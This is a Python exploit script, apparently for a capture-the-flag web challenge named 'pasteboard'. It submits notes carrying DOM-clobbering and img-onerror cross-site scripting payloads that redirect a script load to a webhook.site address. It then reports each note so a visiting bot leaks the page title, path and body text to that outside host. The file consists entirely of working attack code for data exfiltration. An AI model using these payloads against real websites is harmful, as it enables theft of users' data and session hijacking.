import requests

BASE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078"

# Test variations - embedding data into the URL
payloads = [
    ("Test 1: Static data in URL", 
     f'''<form id="errorReporter"><input name="path" value="//webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078/test1.js?data=STATIC_TEST"></form>
<img src=x onerror="window.lastRenderError='x';throw Error()">'''),
    
    ("Test 2: Modify input BEFORE error",
     f'''<form id="errorReporter"><input name="path" id="p"></form>
<img src=x onerror="document.getElementById('p').value='//webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078/test2.js?title='+document.title;window.lastRenderError='x';throw Error()">'''),
    
    ("Test 3: Get page location",
     f'''<form id="errorReporter"><input name="path" id="p"></form>
<img src=x onerror="document.getElementById('p').value='//webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078/test3.js?url='+encodeURIComponent(location.pathname);window.lastRenderError='x';throw Error()">'''),
    
    ("Test 4: Get page text content",
     f'''<form id="errorReporter"><input name="path" id="p"></form>
<img src=x onerror="document.getElementById('p').value='//webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078/test4.js?text='+encodeURIComponent(document.body.innerText.substring(0,50));window.lastRenderError='x';throw Error()">'''),
]

print("[*] Testing data exfiltration variations...")
print(f"[*] Watch: https://webhook.site/#!/d8111fd3-599a-47ab-bcab-94d5ec54e078")
print()

created = []

for name, payload in payloads:
    print(f"[*] {name}")
    
    session = requests.Session()
    resp = session.post(
        f"{BASE_URL}/note/new",
        data={"title": name, "body": payload},
        allow_redirects=False
    )
    
    if resp.status_code == 302:
        location = resp.headers.get('Location')
        note_url = f"{BASE_URL}{location}"
        print(f"    ✓ Created: {note_url}")
        created.append((name, note_url))
        
        report = session.post(f"{BASE_URL}/report", data={"url": location})
        if report.status_code == 202:
            print(f"    ✓ Reported")
        else:
            print(f"    ✗ Report failed")
    else:
        print(f"    ✗ Failed: {resp.status_code}")
    print()

print("="*70)
print("TESTS CREATED:")
print("="*70)
for i, (name, url) in enumerate(created, 1):
    print(f"{i}. {name}")
    print(f"   {url}")
print()
print("[*] Check webhook in 40 seconds. Look for:")
print("    - /test1.js?data=STATIC_TEST")
print("    - /test2.js?title=<page_title>")
print("    - /test3.js?url=<pathname>")
print("    - /test4.js?text=<page_content>")
